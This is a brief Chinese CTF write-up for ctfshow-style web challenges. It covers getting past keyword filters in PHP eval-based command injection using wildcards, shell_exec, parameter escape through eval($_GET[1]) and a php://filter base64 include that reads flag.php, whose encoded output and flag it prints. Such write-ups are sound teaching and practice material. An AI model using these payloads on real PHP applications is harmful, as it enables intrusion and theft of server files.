web 29
过滤掉了flag关键字
让我们先来看看都有什么文件
很明显flag应该就在flag.php文件中,但是本题过滤掉了flag,那我们就用通配符
web 30
这道题相比上一道过滤的就比较多了
可以用shell_exec这个函数来代替system,再搭配上通配符的使用
命令为:
echo shell_exec('tac fla.ph');
web 31
看到这里,感觉前两道题的关键语句基本上都有被过滤掉,这里就要使用另外一个东西了:参数逃逸,构造一个新的参数,而这个新的参数是没有任何过滤的
eval($_GET[1]);&1=system('tac flag.php');
web 32
这道题比上一道过滤的都还要多的多,可以尝试对语句进行编码
同样这里也用到了伪协议
c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7YmE0NTM4ZWMtNGNiMS00ZDlkLWI5Y2YtYzNkODYyZTcxZGFmfSI7DQo
进行解码就可以了
上一道题的解法参数逃逸,这道题中无法使用因为已经过滤了分号,配合文件包含和伪协议
web 37
文件包含语句